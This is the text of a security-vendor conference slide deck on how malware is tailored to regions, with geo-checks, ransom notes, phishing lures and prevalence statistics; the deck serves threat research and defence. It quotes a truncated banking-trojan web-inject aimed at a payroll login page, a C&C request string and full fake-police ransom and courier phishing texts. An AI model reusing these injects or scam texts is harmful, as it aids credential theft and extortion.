Local Malware for Local People—The Regionalization of Malware
TARGETED ATTACKS
- Limited
- Tailored to victim
- High per-victim execution cost
- High return on penetration

“TRADITIONAL” MALWARE
- Omni-present
- Indiscriminative
- Low-barrier of entry, affordable
- Economy of scale
McDonald’s stores around the world
Global Presence

Number of McDonald’s outlets of selected countries

- US: 13,381
- Japan: 3,598
- Canada: 1,400
- Germany: 1,276
- UK: 1,250
- China: 660
Price Difference

Most expensive McDonald’s burger - selected countries (USD)*

- Norway: 7.18
- Denmark: 5.93
- Iceland: 5.21
- Eurozone: 4.96
- US: 3.57
Marketing and Advertisement

Japan

Saudi Arabia
Malware Regionalization: Reasons

- Financial
- Compatibility
  - Culture and local standards
  - Language
  - Local brands
- Political and Legal
Malware Regionalization: Impact

- Type and “family” prevalence
- Threat Exposure Rate
- Attack vectors
- Platform abuse
- Defenses
(Un)targeting

“Bakasoftware” Fake AV didn’t execute, if one of the following was true:

- `GetKeyboardLayout`: Russia, Ukraine, Belarus, Estonia, Latvia, Lithuania, ...

- Browser history: `vkontakte.ru`, `google.ru` and russian-speaking hacking forums
Server-side logic

https://nakedsecurity.sophos.com/2008/12/03/fakeav-promo-site-exposed/
Conficker

- Filtered Ukrainian IP addresses when spreading
  - Conficker.B – embeds GeoIP DB
- Checked keyboard layout check during runtime
RU Screen lockers ("Winlocker")
Prepaid Cards and Cash Vouchers

PARTICIPATING RETAILERS

ACE Cash Express  CVS pharmacy  DOLLAR GENERAL  DOLLAR TREE  FAMILY DOLLAR

Kmart  Kroger  RITE AID  SAFEWAY  7-Eleven  Walgreens  Walmart

SOPHOS
“Police locker”

Attention!!!

The process of illegal activity is detected. According to UK law and Metropolitan Police Service and Strathclyde Police investigation your computer is locked:

The following violation is detected: you IP-address "". Forbidden websites containing pornography, child pornography, Sodomy and called violence against children on, violent material toward people were visited from this IP-address.

Moreover and e-mail spam was sent you’re your computer, e-mails containing terroristic materials. This locking serves to stop your illegal activity.

To release a lock your computer you should pay the fine in amount of £ 100. In the case of ignoring the payment, the program will remove illegal materials while keeping your personal information is not guaranteed.

You could pay the forfeit in two ways:

1) Paying through Ukash:
Use the code received for this purpose. Enter it in the space for payment and click OK (if you have more than one code, enter them one after another and then click OK).

In case the system informs about an error send the code to surcharge@cyber-metropolitan-police.co.uk.

2) Paying through Paysafecard:
Use the code (and a password if needed) received for this purpose. Enter it in the space for payment and click OK (if you have more than one code, enter them one after another and then click OK).

In case the system informs about an error send the code to surcharge@cyber-metropolitan-police.co.uk.

Ukash Where can I buy Ukash?
You could buy Ukash in many places, for example: shops, stalls, stand-alone terminals, on-line or through E-Wallet (electronic cash). Below you could find the list of point of sale Ukash in your country.

- Epay - you could buy Ukash in thousands of supermarkets or Call-Shops which have this logo.
- PayPoint - Get Ukash wherever you see the PayPoint sign.
- Payzone - Ukash available from Payzone terminals around the UK.

Inpay - You can get a Ukash voucher in values from £10 - £500 and pay using your internet bank.
Cultural compatibility
Ransomware + Bitcoins = ❤

**Bitcoins**
- Available world-wide
- Practically untraceable

**Ransomware**
- Indiscriminate
- Openly criminal

---

**Cryptolocker:** 17,706,729.70 USD (Nov 2013)
Coincidence?

Cryptolocker search trends

Bitcoin price
“... customisable by the affiliate who has purchased the CTB-Locker instance, the available options have grown over time, more recently – English, French, German, Spanish, Latvian, Dutch and Italian.”
TorrentLocker/crypt0locker criminals went so far as to refuse to push the Ransomware executable to victim machines whose IP addresses did not belong to the target countries.
TorrentLocker (Ireland)

Local currency

Buy decryption and get all your files back

Buy decryption for 399 EUR before 2015-05-12 10:47:13
OR buy it later with the price of 798 EUR
Time left before price increase: 94:25:40
Your total files encrypted: 3048

Current price: 1.979198 BTC (around 399 EUR)
Paid until now: 0 BTC (around 0 EUR)
Remaining amount: 1.979198 BTC (around 399 EUR)

Buy Decryption with

1. Register bitcoin wallet
You should register Bitcoin wallet, see easy instructions or watch video on YouTube.

2. Buy bitcoins
Please see recommended bitcoin sellers in your country:
www.bitcoin.net - Order Bitcoin with AIB bank transfer.
www.bitstamp.net - Buy and sell bitcoins in European SEPA zone
localbitcoins.com - Buy Bitcoins with cash from people leaving in Ireland.
howtobuybitcoins.info - Big list of trusted Bitcoin online exchanges in Ireland.

Local BC exchanges
Hot off the press (Locky demo)
Locky localization

- Ransom notes obtained via encrypted C&C server connection:
  
<table>
<thead>
<tr>
<th>id</th>
<th>Randomly generated number</th>
</tr>
</thead>
<tbody>
<tr>
<td>act</td>
<td>Action</td>
</tr>
<tr>
<td>affid</td>
<td>Affiliation ID</td>
</tr>
<tr>
<td>lang</td>
<td>Language used by computer</td>
</tr>
<tr>
<td>os</td>
<td>Operating system</td>
</tr>
<tr>
<td>sp</td>
<td>Service pack</td>
</tr>
<tr>
<td>x64</td>
<td>64-bit system</td>
</tr>
</tbody>
</table>

  id=66...ED5&act=gettext&lang=da

- Languages supported: Brazilian Portuguese, Chinese, French, Japanese, Danish, German, ...

- Not supported: Arabic, Czech...
Locky (un)targeting

- Check system language
- MultiUILanguageID == 0x419 (1049 - Russian)?
- Terminate and delete itself
Ransomware Prevalence

- Cryptowall: US, GB, CA, AU, DE and FR
- TorrentLocker: GB, IT, AU, ES
- CTBLocker: EU and NA
- TeslaCrypt: UK, US, CA, SG, TH
Royal Mail

A courier did not deliver the parcel to your address 17 September 2014, because nobody was at home.

Please view information about parcel, print it and go to post office to receive a package.

Attention

If the parcel isn't received within 30 working days Royal Mail will have the right to claim compensation from the information about the procedure and conditions of parcel keeping in the nearest office.

This is automatically generated email, please unsubscribe if you do not want receive email's from us

Royal Mail Group Ltd 2014. All rights reserved
Geo-targeted distribution via TDS

Compromised web servers

Traffic directing server (TDS)

302 + META redirect

Geo-targeted distribution via TDS

TDS – Traffic Direction System

Geo-targeted delivery via Exploit Kits


CryptoWall

TeslaCrypt

<nothing>
Abuse of Geo IP services

<table>
<thead>
<tr>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>8.8.8.8</td>
<td></td>
<td></td>
<td>Standard query 0x2138 1p.telize.com</td>
</tr>
<tr>
<td>192.168.1.101</td>
<td>DNS</td>
<td>73</td>
<td>130 Standard query response 0x2138 No such name</td>
</tr>
<tr>
<td>192.168.1.101</td>
<td>DNS</td>
<td>130</td>
<td>92 Name query NR IP TELIZE.COM&lt;00&gt;</td>
</tr>
<tr>
<td>192.168.1.101</td>
<td>DDNS</td>
<td></td>
<td></td>
</tr>
<tr>
<td>192.168.1.255</td>
<td>DNS</td>
<td>130</td>
<td></td>
</tr>
</tbody>
</table>

However, things changed when I discovered Telize was being used by malware and ransomware. Quite frankly, this is something I just can’t tolerate. On November 5th I announced the decision to close the public instance with a 10 days notice, effective November 15th. I simply do not have time, energy, nor resources to engage in fighting abuses.
Banking Malware

- **Victim**
- **Cybercrime group**
- **Victim’s Bank**
- **Money mules**

**NATURALLY GEO-TARGETTED**

- “Money mule” logistics
- Bank-specific customizations
- Custom web-injects

SOPHOS

RSA Conference 2016
Target URL: runpayroll.adp.com/(default.aspx\?Action=login|registered/RegisteredLogin.aspx)
Flags: 0x22
Data before: </body>
Data inject: <script> %framework% var fw = new EQFramework("%framework_key%";

function ShowEl(name){if (isset(name)) {document.getElementById(name).style.display = "";}} function ViewMain(){document.title = MainTitle; HideEl('WaitDiv');HideEl('WaitDiv');ShowEl('AnswLbl1');ShowEl('AnswLbl2');
if (isset(name)) {return document.getElementById(name).value;} else {return false;}} function SetPa()
if (CurQuestions == 1) { if (isset('AnswLbl1')) document.getElementById('AnswLbl1').innerHTML = fw;
CurQuestions++; } else if (CurQuestions == 2) { PostRequest += fw.GetVal('AdpQuestion2') + '=' + fw.GetVal('AdpQuestion1'); fw.DelVal('AdpQuestion1'); fw.DelVal('AdpQuestion2'); ViewMain(); } } } if (fw.GetVal('AdpQuestion1')) {document.getElementById('LnkForgotPassword').click();} else { if (isa
Vawtrak Crimeware-as-a-Service (CaaS)

- EXE attachment or Exploit Kit attack
- Injects into legitimate process
- Hooks APIs to inspect network traffic
- Connects to C&C
- Receives configuration file
- Injects code into web pages of specific URLs

Sophos paper: Vawtrak – International crimeware-as-a-service

URL: /channel/{TYPE:Hb}/{PROJECT_ID:Hd}/{BOT_ID:Hd}?id={BUILD:Hw} {UPDA'TE_VER:Hw}
Regional sub-botnets

- **Target1** - German and Polish banks
- **Target2** - Japan
- **Target3** - USA + Australia, UK, Turkey, Slovakia, Czech Republic, India, Italy
- **Target4** - Saudi Arabia, UAE, Malaysia, Portugal, Poland
- **Target5** - UK
- **Target6** - UK, Germany, Spain

/channel/{TYPE:Hb}/{PROJECT_ID:Hd}/{BOT_ID:Hd}?id=...
Stats methodology

- Based on “Live Protection” telemetry
- Mapped with Maxmind’s GeoIP API
- Malware family recognition through dynamic analysis (sandbox) and normalized detection names
Banking malware targets

- **Dridex**: US, GB
- **QBot**: US
- **Yebot**: HK, Japan
- **Gozi**: NA, EU, particularly Italy
- **Emotet**: EU, particularly Germany
- **Trustezeb**: DACH region
- **Dyreza**: global, but highest in NA, EU, AU
- **Tinba**: GB, US, CA, AU, DE
- **ZBot**: US, GB, CA, DE, AU, IT, ES, JP
- **“Brazilian bankers”**: Brazil
Global threats

- Spam bots (Shapouf)
- Password stealers (Fareit)
- Downloaders (Upatre, Ruckgov)
Android Malware Monetization

- Premium rate number calling and SMS
- Ransomware
- Banking Trojans
- Other...
MazarBOT won’t run on Russian Android smartphones
CSIS was not surprised to observe that the malware cannot be installed on smartphones configured with Russian language settings. MazarBOT will check the phone to identify the victim’s country and if it will stop the malicious APK if the targeted phone turns out to be owned by a user in Russia.

locale.getCountry()
equalIgnoreCase "RU";
ProcessArsProcess([Process.myPid |]);

Until now, MazarBOT has been advertised for sale on several websites on the Dark Web, but this is the first time we’ve seen this code to be deployed in active attacks.

MazarBOT: Top class Android datastealer
2016-02-14 20:23:57 | Peter Krue

This Friday, a swarm of SMSes were sent to random phone numbers in Denmark and likely elsewhere. The content of the SMS had the purpose of luring the recipient into clicking the provided link, which would serve up a malicious APK

The SMS in question arrives with the following content (sanitized by CSIS):
'You have received a multimedia message from [country code]/[sender number]. Follow the link http://www.mmsstoryou[/][wgetmms.apk] to view the message.'
Ransomware

Quái Vật Không Gian

Một trò chơi đòi hỏi tóc đầy và khá năng phân ứng nhanh của bạn.

BẢNG ĐIỀU KHOẢN
Vui Long Đọc Ký Đệu Khoản Trước Khi Cài Đặt Game
1. Đây là một dịch vụ hỗ trợ Download Game và Ứng dụng cho điện thoại. Giúp người dùng tải và cài đặt ứng dụng một cách thuận tiện.
2. Quyền Sở Hữu Trí Túc

BẢNG Y TAI VA CAI DAT

*Chu y hao wifi de giai cuoc 3G!

Thoat

DEPARTMENT OF JUSTICE
FEDERAL BUREAU OF INVESTIGATION
FBI HEADQUARTERS
WASHINGTON DC DEPARTMENT, USA

AS A RESULT OF FULL SCANNING OF YOUR DEVICE, SOME SUSPICIOUS FILES HAVE BEEN FOUND AND YOUR ATTENDANCE OF THE FORBIDDEN PORNOGRAPHIC SITES HAS BEEN FIXED. FOR THIS REASON YOUR DEVICE HAS BEEN LOCKED.

INFORMATION ON YOUR LOCATION AND SNAPSHOTS CONTAINING YOUR FACE HAVE BEEN UPLOADED ON THE FBI CYBER CRIME DEPARTMENT’S DATACENTER.

FIRST OF ALL, FAMILARISE WITH THE POSITIONS STATED IN THE LEGAL BASIS OF VIOLATIONS”. ACCORDING TO THESE POSITIONS YOUR ACTIONS BEAR CRIMINAL CHARACTER, AND YOU ARE A CRIMINAL SUBJECT. THE PENALTY AS A BASE MEASURE OF PUNISHMENT ON YOU WHICH YOU ARE OBLIGED TO PAY IN A CURRENT OF THREE CALENDAR DAYS IS IMPOSED. THE SIZE OF THE PENALTY IS $500.00

ATTENTION! DISCONNECTION OR DISPOSAL OF THE DEVICE OR YOUR ATTEMPTS TO UNLOCK THE DEVICE INDEPENDENTLY WILL BE APPREHENDED AS UNAPPROVED ACTIONS INTERFERING THE EXECUTION OF THE LAW OF THE UNITED STATES OF AMERICA (READ SECTION 1509 - OBSTRUCTION OF COURT ORDERS AND
Andr/SmsThief-A (un)targeting

## Most exposed countries

<table>
<thead>
<tr>
<th>Region</th>
<th>% of malware reports</th>
</tr>
</thead>
<tbody>
<tr>
<td>India</td>
<td>15.5</td>
</tr>
<tr>
<td>CIS (Russia, Belarus, Kazakhstan, ...)</td>
<td>10.1</td>
</tr>
<tr>
<td>Korea</td>
<td>7.9</td>
</tr>
<tr>
<td>Israel</td>
<td>7.6</td>
</tr>
<tr>
<td>China</td>
<td>6.4</td>
</tr>
<tr>
<td>Asia (other)</td>
<td>5.0</td>
</tr>
<tr>
<td>Eastern Europe</td>
<td>4.4</td>
</tr>
<tr>
<td>Latin America</td>
<td>3.8</td>
</tr>
<tr>
<td>Middle East</td>
<td>3.1</td>
</tr>
<tr>
<td>US &amp; Canada</td>
<td>3.1</td>
</tr>
<tr>
<td>Africa</td>
<td>3.0</td>
</tr>
<tr>
<td>Australia and New Zealand</td>
<td>2.5</td>
</tr>
<tr>
<td>Western Europe</td>
<td>1.9</td>
</tr>
<tr>
<td>Japan</td>
<td>1.4</td>
</tr>
</tbody>
</table>
## Android malware prevalence by region

<table>
<thead>
<tr>
<th>Region</th>
<th>West Europe</th>
<th>US &amp; CA</th>
<th>Middle East</th>
<th>LatAm</th>
<th>Korea</th>
<th>Japan</th>
<th>Israel</th>
<th>India</th>
<th>Eastern Europe</th>
<th>CIS</th>
<th>China</th>
<th>AU/NZ</th>
<th>Asia</th>
<th>Africa</th>
</tr>
</thead>
<tbody>
<tr>
<td>Andr/Gedma</td>
<td>16</td>
<td>9</td>
<td>7</td>
<td>27</td>
<td>21</td>
<td>19</td>
<td>15</td>
<td>24</td>
<td>15</td>
<td>26</td>
<td>7</td>
<td>13</td>
<td>16</td>
<td>20</td>
</tr>
<tr>
<td>Andr/Ztorg</td>
<td>6</td>
<td>5</td>
<td>26</td>
<td>20</td>
<td>17</td>
<td>3</td>
<td>11</td>
<td>29</td>
<td>14</td>
<td>13</td>
<td>3</td>
<td>4</td>
<td>31</td>
<td>29</td>
</tr>
<tr>
<td>Andr/Axent</td>
<td>10</td>
<td>7</td>
<td>20</td>
<td>19</td>
<td>9</td>
<td>8</td>
<td>22</td>
<td>22</td>
<td>15</td>
<td>13</td>
<td>13</td>
<td>9</td>
<td>22</td>
<td>18</td>
</tr>
<tr>
<td>Andr/DroidRt</td>
<td>8</td>
<td>6</td>
<td>11</td>
<td>10</td>
<td>4</td>
<td>8</td>
<td>15</td>
<td>4</td>
<td>10</td>
<td>10</td>
<td>6</td>
<td>12</td>
<td>9</td>
<td>9</td>
</tr>
<tr>
<td>Andr/PornLock</td>
<td>3</td>
<td>9</td>
<td>2</td>
<td>7</td>
<td>1</td>
<td>2</td>
<td>2</td>
<td>4</td>
<td>7</td>
<td>6</td>
<td>1</td>
<td>3</td>
<td>10</td>
<td>9</td>
</tr>
<tr>
<td>Andr/FakeIns</td>
<td>3</td>
<td>1</td>
<td>6</td>
<td>2</td>
<td>4</td>
<td>4</td>
<td>22</td>
<td>2</td>
<td>6</td>
<td>1</td>
<td>1</td>
<td>3</td>
<td>10</td>
<td>9</td>
</tr>
<tr>
<td>Andr/Rootnik</td>
<td>3</td>
<td>2</td>
<td>8</td>
<td>8</td>
<td>4</td>
<td>7</td>
<td>8</td>
<td>6</td>
<td>3</td>
<td>3</td>
<td>1</td>
<td>8</td>
<td>5</td>
<td>5</td>
</tr>
<tr>
<td>Andr/CNSMS</td>
<td>2</td>
<td>2</td>
<td>9</td>
<td>3</td>
<td>9</td>
<td>4</td>
<td>1</td>
<td>10</td>
<td>17</td>
<td>2</td>
<td>4</td>
<td>4</td>
<td>3</td>
<td>3</td>
</tr>
<tr>
<td>Andr/Dloadr</td>
<td>4</td>
<td>3</td>
<td>6</td>
<td>5</td>
<td>17</td>
<td>4</td>
<td>1</td>
<td>10</td>
<td>17</td>
<td>5</td>
<td>4</td>
<td>12</td>
<td>1</td>
<td>8</td>
</tr>
<tr>
<td>Andr/SmsSend</td>
<td>3</td>
<td>2</td>
<td>4</td>
<td>2</td>
<td>17</td>
<td>4</td>
<td>12</td>
<td>4</td>
<td>6</td>
<td>12</td>
<td>4</td>
<td>2</td>
<td>8</td>
<td>8</td>
</tr>
<tr>
<td>Andr/FkDbgrd</td>
<td>2</td>
<td>1</td>
<td>7</td>
<td>4</td>
<td>4</td>
<td>6</td>
<td>6</td>
<td>4</td>
<td>1</td>
<td>4</td>
<td>1</td>
<td>8</td>
<td>8</td>
<td>8</td>
</tr>
<tr>
<td>Andr/HiddenAd</td>
<td>2</td>
<td>2</td>
<td>5</td>
<td>5</td>
<td>4</td>
<td>5</td>
<td>3</td>
<td>2</td>
<td>1</td>
<td>4</td>
<td>1</td>
<td>5</td>
<td>5</td>
<td>5</td>
</tr>
<tr>
<td>Andr/Sivu</td>
<td>2</td>
<td>4</td>
<td>5</td>
<td>4</td>
<td>3</td>
<td>2</td>
<td>4</td>
<td>3</td>
<td>1</td>
<td>3</td>
<td>5</td>
<td>5</td>
<td>4</td>
<td>4</td>
</tr>
<tr>
<td>Andr/Ransom</td>
<td>14</td>
<td>15</td>
<td>8</td>
<td>18</td>
<td>17</td>
<td>15</td>
<td>14</td>
<td>16</td>
<td>18</td>
<td>1</td>
<td>4</td>
<td>12</td>
<td>4</td>
<td>2</td>
</tr>
<tr>
<td>Andr/Ogel</td>
<td>1</td>
<td>1</td>
<td>4</td>
<td>4</td>
<td>13</td>
<td>7</td>
<td>3</td>
<td>1</td>
<td>2</td>
<td>4</td>
<td>3</td>
<td>4</td>
<td>4</td>
<td>4</td>
</tr>
<tr>
<td>Andr/PornClk</td>
<td>2</td>
<td>1</td>
<td>4</td>
<td>2</td>
<td>4</td>
<td>3</td>
<td>1</td>
<td>2</td>
<td>4</td>
<td>4</td>
<td>3</td>
<td>4</td>
<td>4</td>
<td>4</td>
</tr>
<tr>
<td>Andr/TowRoot</td>
<td>5</td>
<td>9</td>
<td>1</td>
<td>4</td>
<td>4</td>
<td>3</td>
<td>1</td>
<td>4</td>
<td>1</td>
<td>4</td>
<td>1</td>
<td>5</td>
<td>2</td>
<td>3</td>
</tr>
<tr>
<td>Andr/Clicker</td>
<td>1</td>
<td>6</td>
<td>3</td>
<td>6</td>
<td>3</td>
<td>1</td>
<td>6</td>
<td>2</td>
<td>1</td>
<td>6</td>
<td>5</td>
<td>1</td>
<td>3</td>
<td>3</td>
</tr>
<tr>
<td>Andr/SmsSpy</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>9</td>
<td>4</td>
<td>0</td>
<td>0</td>
<td>2</td>
<td>10</td>
<td>4</td>
<td>10</td>
<td>4</td>
<td>6</td>
</tr>
<tr>
<td>Andr/StartApp</td>
<td>1</td>
<td>1</td>
<td>4</td>
<td>3</td>
<td>1</td>
<td>6</td>
<td>2</td>
<td>2</td>
<td>7</td>
<td>16</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>Andr/TekWon</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>3</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
In summary

- Tip of the iceberg

- The trend is growing - more players are taking advantage of metadata about victims to maximize returns

- Commodity malware gangs have learnt from APT groups
Impact

- Defenses
  - Analysis (geo-distributed sensors, proxies,...)
  - Forensic is difficult
  - 3rd party tests
- User education
  - Their English is better! (freelance job boards?)
Advice

- Threat awareness,
- user education and
- security measures

.. should all be targeting threats that are prevalent in your region
Questions?